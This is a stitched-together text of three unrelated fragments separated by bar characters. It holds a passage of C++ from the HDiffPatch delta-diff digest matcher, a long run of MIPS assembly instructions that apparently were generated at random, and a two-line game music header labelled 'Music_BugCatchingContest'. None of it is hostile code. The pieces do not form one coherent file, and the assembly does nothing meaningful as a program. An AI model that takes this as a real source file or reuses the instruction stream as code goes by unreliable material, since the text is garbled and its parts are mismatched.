--cachePos;
return roll();
}
}
bool skip_same(unsigned char same){
if (!TBlockStreamCache::resetPos(pos()+kMatchBlockSize)) return false;
while (true) {
const unsigned char* pdata=data();
const unsigned char* pdata_end=pdata+dataLength();
for (;pdata<pdata_end;++pdata){
if ((*pdata)!=same) break;
}
if (pdata<pdata_end){
return resetPos(pos()+(pdata-data()));
}else{
if (!TBlockStreamCache::resetPos(pos()+dataLength())) return false;
}
}
}
inline adler_uint_t rollDigest()const{ return roll_digest; }
private:
adler_uint_t roll_digest;
};
struct TDigest_comp{
inline explicit TDigest_comp(const adler_uint_t* _blocks):blocks(_blocks){ }
struct TDigest{
adler_uint_t value;
inline explicit TDigest(adler_uint_t _value):value(_value){}
};
template<class TIndex> inline
bool operator()(const TIndex& x,const TDigest& y)const { return blocks[x]<y.value; }
template<class TIndex> inline
bool operator()(const TDigest& x,const TIndex& y)const { return x.value<blocks[y]; }
template<class TIndex> inline
bool operator()(const TIndex& x, const TIndex& y)const { return blocks[x]<blocks[y]; }
protected:
const adler_uint_t* blocks;
};
struct TDigest_comp_i:public TDigest_comp{
inline TDigest_comp_i(const adler_uint_t* _blocks,size_t _n):TDigest_comp(_blocks),n(_n),i(0){ }
template<class TIndex> inline
bool operator()(const TIndex& x,const TDigest& y)const { return (x+i<n)?(blocks[x+i]<y.value):true; }
template<class TIndex> inline
bool operator()(const TDigest& x,const TIndex& y)const { return (y+i<n)?(x.value<blocks[y+i]):false; }
template<class TIndex> inline
bool operator()(const TIndex& x, const TIndex& y)const {
if ((x+i<n)&(y+i<n)) return blocks[x+i]<blocks[y+i];
if (x+i<n) return false;
if (y+i<n) return true;
return x>y;//n-x<n-y
}
private:
const size_t n;
public:
size_t i;
};
static hpatch_StreamPos_t getMatchLength(TOldStreamCache& oldStream,TNewStreamCache& newStream,
hpatch_StreamPos_t* pOldPos,size_t kMatchBlockSize,
const TCover& lastCover){
if (oldStream.resetPos(*pOldPos)&&
(0==memcmp(oldStream.data(),newStream.data(),kMatchBlockSize))){
const hpatch_StreamPos_t newPos=newStream.pos();
size_t feq_len=oldStream.forward_equal_length(newStream);
if (newPos-feq_len<lastCover.newPos+lastCover.length)
feq_len=(size_t)(newPos-(lastCover.newPos+lastCover.length));
hpatch_StreamPos_t beq_len=oldStream.loop_backward_equal_length(newStream);
*pOldPos=(*pOldPos)-feq_len;
return feq_len+kMatchBlockSize+beq_len;
}else{
return 0;
}
}
template <class TIndex>
static bool getBestMatch(const adler_uint_t* blocksBase,size_t blocksSize,
const TIndex* left,const TIndex* right,
TOldStreamCache& oldStream,TNewStreamCache& newStream,
const TCover& lastCover,TCover* out_curCover){
const size_t kMatchBlockSize=newStream.kMatchBlockSize;
size_t max_digests_n=upperCount(kMinTrustMatchedLength,kMatchBlockSize);
size_t _data_max_digests_n=newStream.dataLength()/kMatchBlockSize;
if (max_digests_n>_data_max_digests_n) max_digests_n=_data_max_digests_n;
const TIndex* best=0;
size_t digests_eq_n=1;
//缩小[left best right)范围,留下最多2个(因为签名匹配并不保证一定相等,2个的话应该就够了?);
if (right-left>1){
//寻找最长的签名匹配位置(也就是最有可能的最长匹配位置);
TDigest_comp_i comp_i(blocksBase,blocksSize);
newStream.toBestDataLength();
const unsigned char* bdata=newStream.data()+kMatchBlockSize;
for (; (digests_eq_n<max_digests_n)&&(right-left>1);++digests_eq_n,bdata+=kMatchBlockSize){
adler_uint_t digest=adler_start(bdata,kMatchBlockSize);
typename TDigest_comp::TDigest digest_value(digest);
comp_i.i=digests_eq_n;
std::pair<const TIndex*,const TIndex*> i_range=
std::equal_range(left,right,digest_value,comp_i);
size_t rn=i_range.second-i_range.first;
if (rn==0){
break;
}else if (rn==1){
best=i_range.first;
break;
}else{
left=i_range.first;
right=i_range.second;
}
}
}else{
best=left;
}
//best==0 说明有>2个位置都是最好位置,还需要继续寻找;
//assert(newStream.pos()>lastCover.newPos);
hpatch_StreamPos_t linkOldPos=newStream.pos()+lastCover.oldPos-lastCover.newPos;
TIndex linkIndex=(TIndex)posToBlockIndex(linkOldPos,kMatchBlockSize,blocksSize);
//找到lastCover附近的位置当作比较好的best默认值,以利于link或压缩;
if (best==0){
TIndex_comp comp(blocksBase,blocksSize,max_digests_n);
size_t findCount=(right-left)*2+1;
if (findCount>kMaxLinkIndexFindSize) findCount=kMaxLinkIndexFindSize;
for (TIndex inc=1;(inc<=findCount);++inc) { //linkIndex附近找;
TIndex fi; TIndex s=(inc>>1);
if (inc&1){
if (linkIndex<s) continue;
fi=linkIndex-s;
}else{
if (linkIndex+s>=blocksSize) continue;
fi=linkIndex+s;
}
std::pair<const TIndex*,const TIndex*> i_range=std::equal_range(left,right,fi,comp);
if (i_range.first!=i_range.second){
best=i_range.first+(i_range.second-i_range.first)/2;
for (const TIndex* ci=best;ci<i_range.second; ++ci) {
if (*ci==fi) { best=ci; break; } //找到;
}
break;
}
}
}
if(best==0){ //继续找;
best=left+(right-left)/2;
hpatch_StreamPos_t _best_distance=~(hpatch_StreamPos_t)0;
const TIndex* end=(left+kMaxMatchRange>=right)?right:(left+kMaxMatchRange);
for (const TIndex* it=left;it<end; ++it) {
hpatch_StreamPos_t oldIndex=(*it);
hpatch_StreamPos_t distance=(oldIndex<linkIndex)?(linkIndex-oldIndex):(oldIndex-linkIndex);
if (distance<_best_distance){ //找最近;
best=it;
_best_distance=distance;
}
}
}
const hpatch_StreamPos_t newPos=newStream.pos();
bool isMatched=false;
hpatch_StreamPos_t bestLen=0;
const size_t kMaxFindCount=5; //周围距离2;
size_t findCount=(right-left)*2+1;
if (findCount>kMaxFindCount) findCount=kMaxFindCount;
for (size_t inc=1;(inc<=findCount);++inc) { //best附近找;
const TIndex* fi; size_t s=(inc>>1);
if (inc&1){
if (best<left+s) continue;
fi=best-s;
}else{
if (best+s>=right) continue;
fi=best+s;
}
if (inc>1)
newStream.TBlockStreamCache::resetPos(newPos);
hpatch_StreamPos_t oldPos=blockIndexToPos(*fi,kMatchBlockSize,oldStream.streamSize());
hpatch_StreamPos_t matchedOldPos=oldPos;
hpatch_StreamPos_t curEqLen=getMatchLength(oldStream,newStream,
&matchedOldPos,kMatchBlockSize,lastCover);
if (curEqLen>bestLen){
isMatched=true;
bestLen=curEqLen;
out_curCover->length=curEqLen;
out_curCover->oldPos=matchedOldPos;
out_curCover->newPos=newPos-(oldPos-matchedOldPos);
if (curEqLen>=digests_eq_n*kMatchBlockSize)
break;//matched maybe best
}
}
return isMatched;
}
static bool is_same_data(const unsigned char* s,size_t length){
size_t length_fast,i;
unsigned char same;
if (length==0) return true;
same=s[length-1];
length_fast=length&(~(size_t)7);
for (i=0;i<length_fast;i+=8){
if(s[i ]!=same) return false;
if(s[i+1]!=same) return false;
if(s[i+2]!=same) return false;
if(s[i+3]!=same) return false;
if(s[i+4]!=same) return false;
if(s[i+5]!=same) return false;
if(s[i+6]!=same) return false;
if(s[i+7]!=same) return false;
}
for (;i<length-1;++i){
if(s[i]!=same) return false;
}
return true;
}
static const size_t getOldPosCost(hpatch_StreamPos_t oldPos,const TCover& lastCover){
hpatch_StreamPos_t oldPosEnd=lastCover.oldPos+lastCover.length;
hpatch_StreamPos_t dis=(oldPos>=oldPosEnd)?(oldPos-oldPosEnd):(oldPosEnd-oldPos);
return _getUIntCost(dis*2);
}
//尝试共线;
static void tryLink(const TCover& lastCover,TCover& matchCover,
TOldStreamCache& oldStream,TNewStreamCache& newStream){
if (lastCover.length<=0) return;
hpatch_StreamPos_t linkOldPos=matchCover.newPos+lastCover.oldPos-lastCover.newPos;
if (linkOldPos==matchCover.oldPos) return;
newStream.TBlockStreamCache::resetPos(matchCover.newPos);
hpatch_StreamPos_t matchedOldPos=linkOldPos;
hpatch_StreamPos_t curEqLen=getMatchLength(oldStream,newStream,&matchedOldPos,
newStream.kMatchBlockSize,lastCover);
size_t unlinkCost=getOldPosCost(matchCover.oldPos,lastCover);
size_t unlinkCost_link=getOldPosCost(matchedOldPos,lastCover);
if ((curEqLen>=kMinMatchedLength)
&&(curEqLen+unlinkCost>=matchCover.length+unlinkCost_link)){
matchCover.length=curEqLen;
matchCover.oldPos=matchedOldPos;
matchCover.newPos=matchCover.newPos-(linkOldPos-matchedOldPos);
}
}
template <class TIndex>
static void tm_search_cover(const adler_uint_t* blocksBase,size_t blocksSize,
const TIndex* iblocks,const TIndex* iblocks_end,
TOldStreamCache& oldStream,TNewStreamCache& newStream,
const TBloomFilter<adler_hash_t>& filter,
bool kIsSkipSameRange, TCovers* out_covers) {
TDigest_comp comp(blocksBase);
TCover lastCover={0,0,0};
while (true) {
adler_uint_t digest=newStream.rollDigest();
if (!filter.is_hit(adler_to_hash(digest)))
{ if (newStream.roll()) continue; else break; }//finish
typename TDigest_comp::TDigest digest_value(digest);
std::pair<const TIndex*,const TIndex*>
range=std::equal_range(iblocks,iblocks_end,digest_value,comp);
if (range.first==range.second)
{ if (newStream.roll()) continue; else break; }//finish
if (kIsSkipSameRange&&is_same_data(newStream.data(),newStream.kMatchBlockSize)){
if (!newStream.skip_same(*newStream.data())) break;//finish
continue;
}
hpatch_StreamPos_t newPosBack=newStream.pos();
TCover curCover;
if (getBestMatch(blocksBase,blocksSize,range.first,range.second,
oldStream,newStream,lastCover,&curCover)){
tryLink(lastCover,curCover,oldStream,newStream);
if (curCover.length>=kMinMatchedLength){
//matched
out_covers->addCover(curCover);
lastCover=curCover;
if (!newStream.resetPos(curCover.newPos+curCover.length)) break;//finish
continue;
}
}
//match fail
if (!newStream.resetPos(newPosBack+1)) break;//finish
}
}
void TDigestMatcher::search_cover(const hpatch_TStreamInput* newData,TCovers* out_covers){
if (m_blocks.empty()) return;
if (newData->streamSize<m_kMatchBlockSize) return;
TNewStreamCache newStream(newData,m_mem.data(),m_newCacheSize,m_backupCacheSize,m_kMatchBlockSize);
TOldStreamCache oldStream(m_oldData,m_mem.data()+m_newCacheSize,m_oldMinCacheSize,
m_oldCacheSize,m_backupCacheSize,m_kMatchBlockSize);
if (m_isUseLargeSorted)
tm_search_cover(&m_blocks[0],m_blocks.size(),&m_sorted_larger[0],&m_sorted_larger[0]+m_blocks.size(),
oldStream,newStream,m_filter,m_kIsSkipSameRange,out_covers);
else
tm_search_cover(&m_blocks[0],m_blocks.size(),&m_sorted_limit[0],&m_sorted_limit[0]+m_blocks.size(),
oldStream,newStream,m_filter,m_kIsSkipSameRange,out_covers);
}
}//namespace hdiff_private
|
andi $4,$4,63073
lh $5,0($0)
sra $5,$5,4
lhu $1,14($0)
sra $3,$4,29
ori $4,$4,21203
slti $5,$1,-23357
srav $4,$4,$3
xor $5,$4,$3
sllv $1,$1,$3
or $3,$6,$3
subu $3,$3,$3
xori $5,$3,52787
sh $0,8($0)
sw $1,0($0)
sh $4,10($0)
subu $3,$5,$3
srav $1,$3,$3
srl $4,$1,13
sll $1,$3,0
subu $3,$4,$3
or $5,$5,$3
srl $3,$5,17
xor $0,$3,$3
xori $4,$4,40891
sll $3,$3,0
addiu $1,$0,-27999
sltiu $4,$5,-269
sw $5,12($0)
subu $6,$4,$3
andi $3,$4,34410
lh $4,12($0)
lw $1,16($0)
srav $4,$3,$3
lhu $4,0($0)
sll $4,$0,12
addiu $0,$3,14554
slt $3,$3,$3
xori $6,$3,51946
lb $4,2($0)
subu $3,$0,$3
xor $4,$0,$3
nor $3,$1,$3
lw $4,12($0)
lhu $3,16($0)
xori $4,$2,56369
addiu $3,$1,-13672
lw $4,12($0)
subu $1,$5,$3
or $0,$1,$3
sllv $3,$6,$3
sltu $6,$5,$3
nor $1,$2,$3
sh $5,16($0)
addiu $3,$4,6041
srlv $5,$5,$3
srl $4,$5,21
slt $5,$5,$3
sltu $4,$1,$3
addu $5,$0,$3
subu $1,$1,$3
srlv $0,$1,$3
addiu $1,$2,27359
lw $3,8($0)
lbu $0,5($0)
and $5,$3,$3
srlv $6,$3,$3
sll $5,$4,1
or $6,$6,$3
lb $5,5($0)
sll $0,$1,9
addiu $1,$3,-28430
subu $3,$4,$3
srlv $5,$5,$3
slti $4,$0,25896
lw $1,0($0)
lw $5,4($0)
ori $4,$4,1160
and $0,$3,$3
srlv $1,$3,$3
srav $6,$4,$3
lw $4,4($0)
subu $3,$2,$3
srav $3,$3,$3
addu $1,$1,$3
addiu $3,$3,-2193
sw $5,0($0)
sltiu $0,$3,-31463
xor $4,$5,$3
lb $6,12($0)
sh $6,2($0)
subu $5,$4,$3
sllv $4,$3,$3
srl $6,$6,25
addiu $0,$3,-4996
addu $5,$5,$3
slt $5,$5,$3
lhu $1,16($0)
subu $3,$4,$3
addiu $1,$4,-16395
lb $4,15($0)
sllv $3,$6,$3
lh $4,10($0)
xori $3,$3,39926
slti $0,$4,16562
lb $6,15($0)
lh $0,0($0)
sltu $1,$2,$3
subu $6,$3,$3
sltu $1,$4,$3
sllv $6,$6,$3
addu $5,$6,$3
subu $1,$5,$3
ori $6,$6,63185
srlv $4,$4,$3
sw $3,4($0)
sltu $3,$4,$3
addiu $6,$3,24676
lw $3,4($0)
addiu $1,$4,15325
sll $3,$3,24
sltiu $3,$1,-785
sb $4,14($0)
srl $5,$5,24
and $1,$3,$3
sltiu $3,$1,-16307
lhu $3,0($0)
and $4,$3,$3
subu $1,$0,$3
or $1,$1,$3
addiu $4,$5,6590
xori $1,$0,3944
nor $1,$2,$3
or $4,$3,$3
lhu $3,16($0)
subu $5,$1,$3
nor $3,$6,$3
lh $4,2($0)
srav $5,$5,$3
sltiu $5,$4,-4523
and $3,$1,$3
addu $3,$0,$3
sllv $0,$5,$3
and $4,$5,$3
srl $5,$1,14
and $4,$4,$3
addiu $3,$3,23370
sra $6,$0,20
lw $3,0($0)
ori $3,$3,38646
sh $5,12($0)
addiu $3,$3,-14300
nor $3,$4,$3
subu $4,$5,$3
addu $6,$1,$3
sra $5,$1,31
subu $3,$3,$3
sltiu $3,$3,18902
sb $1,16($0)
lw $3,12($0)
lhu $4,6($0)
sltiu $3,$3,29125
sh $6,12($0)
lw $4,16($0)
srl $3,$6,14
xor $4,$4,$3
srlv $4,$4,$3
ori $4,$4,52803
xori $1,$5,36887
slti $4,$4,-11564
or $5,$5,$3
subu $3,$5,$3
sb $1,9($0)
slti $3,$3,25902
addu $5,$3,$3
lb $5,8($0)
addu $5,$1,$3
and $3,$4,$3
addu $4,$3,$3
xori $4,$4,45485
slt $6,$1,$3
addiu $5,$4,23540
lh $0,16($0)
srl $6,$6,16
or $5,$5,$3
ori $4,$6,20438
ori $4,$4,43113
or $4,$1,$3
subu $5,$5,$3
sw $3,4($0)
lb $4,7($0)
addu $5,$3,$3
sltiu $4,$3,-15980
lbu $1,15($0)
subu $4,$4,$3
sw $1,16($0)
sw $4,4($0)
lb $3,8($0)
addiu $1,$4,-30139
ori $5,$5,15379
sltu $5,$5,$3
lhu $6,2($0)
addiu $3,$4,-13420
ori $3,$3,54773
sra $4,$0,29
sltu $5,$6,$3
sh $3,0($0)
addiu $1,$6,23151
andi $0,$5,20185
sltiu $1,$4,-5422
lh $3,0($0)
or $4,$2,$3
sll $1,$1,12
addiu $3,$3,16370
sw $5,8($0)
lbu $6,6($0)
or $3,$3,$3
sh $4,8($0)
srl $4,$4,24
sltu $3,$3,$3
nor $1,$5,$3
srav $4,$5,$3
xori $6,$3,4934
slti $3,$1,29565
sll $3,$4,4
sw $2,16($0)
lw $4,0($0)
slti $3,$3,-18499
or $0,$3,$3
ori $3,$6,25111
sw $3,0($0)
subu $5,$5,$3
and $3,$3,$3
srlv $6,$6,$3
sltu $3,$2,$3
lw $5,8($0)
lh $6,16($0)
subu $4,$5,$3
addu $1,$3,$3
addiu $0,$0,15476
sllv $4,$5,$3
addu $3,$3,$3
lhu $3,8($0)
lhu $5,2($0)
lh $5,0($0)
andi $4,$3,25009
sb $3,12($0)
subu $4,$4,$3
and $4,$3,$3
addiu $4,$3,7789
or $3,$4,$3
sb $1,1($0)
sltiu $4,$4,-7405
or $0,$0,$3
sllv $3,$3,$3
ori $1,$5,41544
sll $3,$3,2
sw $0,4($0)
sltu $4,$1,$3
sllv $4,$6,$3
sltu $4,$5,$3
sh $6,4($0)
sw $3,16($0)
sra $5,$5,25
lw $3,12($0)
addu $4,$3,$3
lbu $1,10($0)
srav $0,$3,$3
ori $3,$3,37144
srav $3,$3,$3
sb $4,15($0)
sll $3,$4,0
sra $6,$1,17
addiu $6,$4,-15213
sllv $3,$3,$3
sb $3,1($0)
sh $4,14($0)
xori $0,$3,20884
sb $3,10($0)
srl $4,$4,9
lbu $4,7($0)
sh $6,10($0)
slti $4,$3,-27982
xor $6,$2,$3
or $5,$4,$3
sb $3,0($0)
nor $0,$0,$3
sh $1,4($0)
addiu $1,$3,9800
lh $4,10($0)
xori $4,$3,62493
sltiu $3,$3,7850
sb $1,10($0)
or $3,$3,$3
andi $4,$3,62137
or $3,$3,$3
nor $4,$1,$3
subu $5,$5,$3
lw $3,0($0)
sltu $3,$5,$3
sw $2,4($0)
sw $4,4($0)
lbu $4,10($0)
lhu $4,14($0)
srav $4,$3,$3
addu $4,$4,$3
subu $3,$3,$3
sb $4,7($0)
srlv $4,$3,$3
nor $3,$2,$3
sllv $2,$2,$3
srl $3,$3,17
xor $1,$3,$3
nor $4,$1,$3
slt $6,$0,$3
andi $5,$3,32378
sh $3,6($0)
lbu $3,8($0)
lh $4,8($0)
sllv $3,$4,$3
addu $6,$3,$3
sb $1,7($0)
or $0,$0,$3
and $3,$4,$3
xor $6,$1,$3
lhu $5,2($0)
slti $4,$3,-24754
sb $1,6($0)
srl $5,$5,21
nor $0,$3,$3
addu $0,$3,$3
lw $1,16($0)
srlv $5,$3,$3
sltiu $5,$5,-17782
xor $3,$4,$3
addu $1,$3,$3
addu $0,$0,$3
srav $0,$4,$3
sltu $5,$1,$3
srlv $6,$6,$3
lhu $6,2($0)
sltiu $3,$1,27665
addiu $3,$4,18846
srlv $3,$4,$3
lh $4,16($0)
subu $3,$3,$3
addu $3,$5,$3
sltu $6,$3,$3
sh $3,6($0)
sra $1,$0,24
sltu $5,$1,$3
addiu $1,$0,18728
addiu $0,$1,-12888
sltiu $5,$6,-18328
srav $3,$3,$3
slti $4,$4,32488
addu $5,$5,$3
lbu $2,10($0)
or $4,$4,$3
xor $4,$4,$3
subu $3,$3,$3
srl $0,$0,0
srl $1,$1,26
xor $4,$4,$3
addu $5,$1,$3
sb $0,16($0)
andi $4,$5,56810
sh $3,0($0)
ori $3,$4,15835
andi $3,$4,9407
slt $5,$3,$3
xor $1,$3,$3
srlv $5,$5,$3
sllv $6,$3,$3
xor $1,$4,$3
subu $4,$1,$3
lw $3,0($0)
or $4,$3,$3
slti $0,$3,10674
xori $3,$3,64170
xor $4,$4,$3
sb $0,9($0)
sltiu $4,$5,-31431
srlv $3,$4,$3
nor $5,$4,$3
sllv $5,$5,$3
sw $1,4($0)
sh $1,0($0)
lhu $5,0($0)
ori $1,$4,62684
sll $3,$3,3
sll $6,$1,2
srav $3,$3,$3
sll $1,$4,27
sh $3,10($0)
lw $5,4($0)
or $5,$0,$3
or $4,$4,$3
lbu $6,3($0)
sltiu $3,$4,-28003
lhu $6,12($0)
addu $3,$5,$3
addu $6,$6,$3
addu $4,$5,$3
andi $2,$2,49517
addu $4,$5,$3
addiu $4,$3,-29060
sll $3,$5,11
addu $3,$1,$3
sh $3,14($0)
sb $1,10($0)
srlv $4,$3,$3
xor $4,$5,$3
sltu $1,$3,$3
sw $4,8($0)
lbu $3,15($0)
lh $4,0($0)
andi $5,$3,10819
xor $3,$1,$3
subu $3,$2,$3
sltu $3,$5,$3
sra $5,$5,17
xor $4,$5,$3
andi $5,$4,3912
subu $3,$3,$3
sh $5,10($0)
sra $3,$5,5
sra $1,$4,16
slt $1,$5,$3
addiu $3,$0,19517
addiu $4,$4,18770
lhu $6,0($0)
sra $3,$5,31
srlv $5,$4,$3
addiu $4,$3,-2449
subu $3,$3,$3
and $3,$1,$3
slt $1,$1,$3
sb $6,13($0)
addiu $1,$4,-20832
andi $3,$5,28311
sh $1,16($0)
addiu $4,$4,-16963
lw $4,8($0)
lhu $3,10($0)
lh $4,14($0)
andi $5,$4,26463
sllv $1,$6,$3
sw $5,4($0)
addiu $0,$2,-5614
slt $3,$4,$3
sb $3,13($0)
lhu $0,0($0)
subu $5,$4,$3
or $3,$5,$3
sltiu $5,$4,1140
lbu $1,8($0)
addu $0,$0,$3
addiu $3,$3,-27766
lh $5,2($0)
and $5,$3,$3
lbu $4,15($0)
xor $6,$4,$3
sllv $4,$2,$3
sll $3,$3,30
xor $3,$0,$3
lh $6,4($0)
xori $3,$4,8231
sllv $4,$4,$3
sltu $3,$3,$3
nor $4,$0,$3
and $0,$4,$3
ori $5,$5,11932
srav $5,$5,$3
lb $1,9($0)
subu $1,$5,$3
sh $0,2($0)
sw $4,16($0)
slti $4,$5,12191
xor $5,$5,$3
ori $0,$0,42872
lb $1,14($0)
nor $5,$2,$3
addiu $4,$3,27706
lw $0,8($0)
srav $5,$1,$3
addu $4,$4,$3
nor $3,$5,$3
sra $3,$0,9
sb $3,1($0)
lh $3,4($0)
andi $6,$0,5171
addu $5,$3,$3
slti $4,$5,7446
sb $1,0($0)
addu $3,$4,$3
lw $3,8($0)
lbu $3,11($0)
sb $3,2($0)
addiu $1,$3,8808
slti $4,$6,-22605
sll $1,$5,17
subu $4,$3,$3
and $4,$3,$3
srl $4,$2,27
lbu $5,9($0)
sltiu $1,$3,-14092
subu $3,$4,$3
addu $5,$4,$3
nor $6,$3,$3
lbu $2,0($0)
nor $6,$3,$3
nor $5,$3,$3
addu $4,$5,$3
lbu $4,1($0)
slti $4,$4,27484
sb $0,12($0)
andi $3,$6,7492
sb $6,8($0)
sll $0,$1,4
addu $5,$2,$3
lh $1,4($0)
sh $3,10($0)
srlv $1,$5,$3
ori $4,$4,41333
lb $3,15($0)
sltiu $0,$6,-16762
subu $4,$4,$3
nor $1,$3,$3
sh $4,6($0)
nor $5,$4,$3
or $4,$4,$3
lh $3,2($0)
lh $3,16($0)
lb $4,15($0)
addiu $1,$1,4396
addu $3,$3,$3
srl $3,$3,18
addiu $3,$3,-1759
xor $4,$3,$3
nor $3,$4,$3
ori $3,$5,61038
subu $4,$1,$3
srlv $5,$1,$3
addu $3,$5,$3
nor $4,$5,$3
srlv $5,$3,$3
lhu $5,6($0)
addiu $4,$4,1251
sw $4,4($0)
sw $4,8($0)
lw $6,12($0)
lh $5,4($0)
nor $5,$5,$3
sltiu $3,$4,-4795
subu $4,$5,$3
sw $3,0($0)
subu $3,$3,$3
sra $4,$3,6
lhu $3,4($0)
andi $0,$3,34338
srl $3,$0,23
addu $1,$1,$3
xori $5,$1,33983
nor $4,$3,$3
srav $1,$6,$3
sltu $4,$3,$3
sll $4,$3,17
addu $3,$5,$3
xor $3,$5,$3
or $3,$3,$3
lhu $6,0($0)
slti $5,$6,595
addu $5,$0,$3
srl $3,$4,22
lb $1,9($0)
lw $5,12($0)
sb $3,16($0)
sw $0,4($0)
slti $5,$4,595
addiu $0,$4,25008
sh $5,4($0)
sltiu $6,$3,29
subu $3,$5,$3
subu $4,$4,$3
addu $4,$1,$3
xor $3,$2,$3
ori $1,$4,46463
xori $5,$3,22920
srav $0,$3,$3
ori $0,$0,65133
sh $1,16($0)
sb $3,3($0)
sb $1,16($0)
addu $3,$3,$3
addiu $6,$3,-23189
sltiu $0,$3,-13792
xori $1,$1,3351
addiu $3,$1,-14018
lbu $3,11($0)
lbu $3,8($0)
ori $0,$0,39144
lh $3,16($0)
xor $5,$0,$3
sra $3,$3,7
sra $1,$3,20
andi $3,$4,48938
sltu $4,$4,$3
subu $3,$3,$3
lhu $1,12($0)
sltu $4,$4,$3
lhu $3,16($0)
xor $6,$0,$3
slti $4,$3,-9384
lbu $6,12($0)
sb $6,6($0)
srlv $3,$3,$3
andi $3,$3,9105
sltiu $5,$0,-25478
nor $3,$3,$3
addiu $3,$4,27928
or $3,$3,$3
xor $3,$5,$3
or $6,$3,$3
or $3,$3,$3
lb $3,16($0)
sb $4,12($0)
lbu $0,0($0)
addu $3,$3,$3
subu $4,$3,$3
srav $3,$3,$3
sra $5,$4,0
lb $3,16($0)
subu $0,$1,$3
sllv $5,$0,$3
addiu $5,$4,-30382
ori $1,$3,4749
slt $6,$3,$3
srlv $3,$3,$3
slt $1,$3,$3
or $0,$5,$3
addu $3,$3,$3
sll $3,$3,21
andi $4,$6,28787
srlv $3,$6,$3
addu $4,$4,$3
sb $0,9($0)
addu $1,$3,$3
srl $1,$4,11
sw $4,16($0)
sw $5,8($0)
sll $1,$1,17
subu $3,$4,$3
ori $3,$4,61255
sltiu $4,$4,11918
addiu $0,$4,-17068
srav $5,$5,$3
srlv $5,$6,$3
lhu $3,2($0)
subu $3,$4,$3
sra $5,$4,2
srl $1,$3,4
sw $4,4($0)
addiu $0,$0,-31493
sll $1,$4,12
lh $4,14($0)
sh $4,8($0)
lhu $4,2($0)
lh $5,0($0)
ori $5,$4,47103
lhu $6,10($0)
sh $4,4($0)
subu $3,$3,$3
srav $1,$4,$3
sh $1,0($0)
addiu $4,$0,-15677
xor $5,$3,$3
sra $3,$4,10
subu $6,$0,$3
sra $0,$3,16
addu $5,$1,$3
sw $1,12($0)
andi $3,$3,47644
lhu $0,2($0)
sb $5,3($0)
addiu $0,$3,18584
addu $5,$3,$3
subu $1,$1,$3
srlv $5,$3,$3
andi $4,$5,38895
sll $5,$4,24
sh $1,2($0)
srav $3,$6,$3
sltu $3,$3,$3
sb $5,11($0)
ori $0,$4,4395
sra $3,$5,4
subu $4,$5,$3
or $1,$4,$3
slt $3,$4,$3
lw $1,0($0)
sra $5,$1,1
lh $5,10($0)
sh $3,2($0)
lhu $0,8($0)
sllv $4,$6,$3
or $1,$3,$3
sltiu $3,$3,-23674
lh $3,14($0)
addiu $6,$1,23489
srlv $3,$1,$3
sw $0,4($0)
lh $4,14($0)
lb $4,12($0)
or $4,$5,$3
andi $3,$1,20219
or $3,$4,$3
sltu $0,$5,$3
lhu $5,4($0)
sh $3,14($0)
lw $6,12($0)
lhu $4,12($0)
sll $4,$1,28
sra $1,$1,19
sll $4,$5,9
lh $3,16($0)
addiu $0,$0,-25542
lw $4,12($0)
sb $3,13($0)
srlv $3,$3,$3
slt $3,$3,$3
subu $5,$6,$3
nor $4,$4,$3
lh $3,12($0)
sh $4,8($0)
addu $3,$1,$3
lhu $3,4($0)
sh $3,6($0)
andi $0,$4,65448
lh $4,0($0)
sltu $4,$4,$3
lhu $5,16($0)
lhu $4,0($0)
or $3,$3,$3
slti $5,$3,-15492
sll $4,$4,13
andi $3,$1,5842
sb $6,6($0)
addu $3,$0,$3
nor $3,$2,$3
addiu $3,$1,9323
subu $3,$2,$3
srav $4,$4,$3
lhu $6,2($0)
andi $4,$3,12490
sllv $3,$3,$3
lhu $4,14($0)
sltu $1,$6,$3
lw $4,4($0)
sllv $5,$1,$3
subu $3,$6,$3
or $3,$3,$3
addiu $4,$4,9266
sltu $1,$3,$3
xor $4,$5,$3
lw $3,4($0)
sltiu $3,$4,21866
slt $1,$1,$3
srl $6,$4,2
subu $3,$3,$3
lhu $4,4($0)
subu $1,$3,$3
slt $3,$3,$3
lb $4,3($0)
subu $3,$6,$3
or $0,$4,$3
lh $5,4($0)
lw $5,16($0)
slti $4,$3,31365
lh $1,16($0)
nor $3,$1,$3
sltu $3,$3,$3
sltu $3,$4,$3
subu $0,$3,$3
lhu $1,12($0)
srl $3,$1,8
lhu $5,2($0)
srl $3,$5,20
sb $4,11($0)
sh $1,14($0)
addiu $0,$1,-5087
sll $5,$5,17
sh $4,10($0)
sllv $4,$1,$3
slti $3,$1,10618
srl $3,$3,22
sltiu $4,$3,22960
srav $3,$3,$3
xori $4,$1,31000
xori $5,$3,63632
srlv $5,$4,$3
srl $5,$1,11
subu $3,$5,$3
sw $3,12($0)
sra $6,$6,6
srav $4,$1,$3
slt $4,$3,$3
sltiu $4,$4,28329
sb $6,15($0)
ori $4,$3,37133
sltiu $1,$3,-4855
subu $4,$4,$3
nor $3,$4,$3
lbu $0,14($0)
lh $5,0($0)
srav $0,$5,$3
sra $1,$6,16
srlv $0,$3,$3
srlv $5,$3,$3
sra $4,$4,9
srav $3,$3,$3
xori $3,$4,1413
subu $3,$3,$3
sra $3,$3,26
lh $3,6($0)
srlv $5,$4,$3
lb $5,2($0)
sb $4,3($0)
lh $3,16($0)
andi $3,$3,25800
or $4,$4,$3
lw $3,16($0)
addu $4,$6,$3
andi $6,$1,38518
sltiu $5,$5,15822
sra $3,$5,17
addiu $4,$5,-10895
subu $4,$0,$3
addiu $1,$6,-8384
srlv $4,$3,$3
andi $6,$6,23162
slti $3,$1,11100
slt $0,$3,$3
sw $3,8($0)
sll $6,$3,26
xori $4,$2,65264
subu $1,$1,$3
lb $4,15($0)
andi $4,$0,10840
lb $1,1($0)
sltu $4,$6,$3
nor $3,$3,$3
addiu $3,$4,27691
lbu $3,11($0)
lh $3,4($0)
sb $1,8($0)
sll $1,$3,16
slti $1,$3,23278
lh $0,8($0)
and $1,$4,$3
lw $3,4($0)
srlv $0,$3,$3
lh $4,0($0)
or $6,$5,$3
lw $3,12($0)
slti $3,$0,-27408
sra $3,$1,28
lw $1,8($0)
sra $3,$6,26
slti $3,$4,27856
srav $6,$3,$3
srav $3,$1,$3
lh $4,0($0)
lhu $1,2($0)
andi $4,$4,5049
sllv $1,$1,$3
lh $6,2($0)
addu $4,$1,$3
srlv $4,$5,$3
lw $5,16($0)
addiu $5,$0,26321
addiu $6,$6,10199
sltiu $0,$5,-1246
sltiu $0,$5,-25877
addu $4,$4,$3
ori $4,$6,48701
slti $6,$6,-18862
sh $4,16($0)
|
Music_BugCatchingContest:
musicheader 4, 1, Music_BugCatchingContest_Ch1
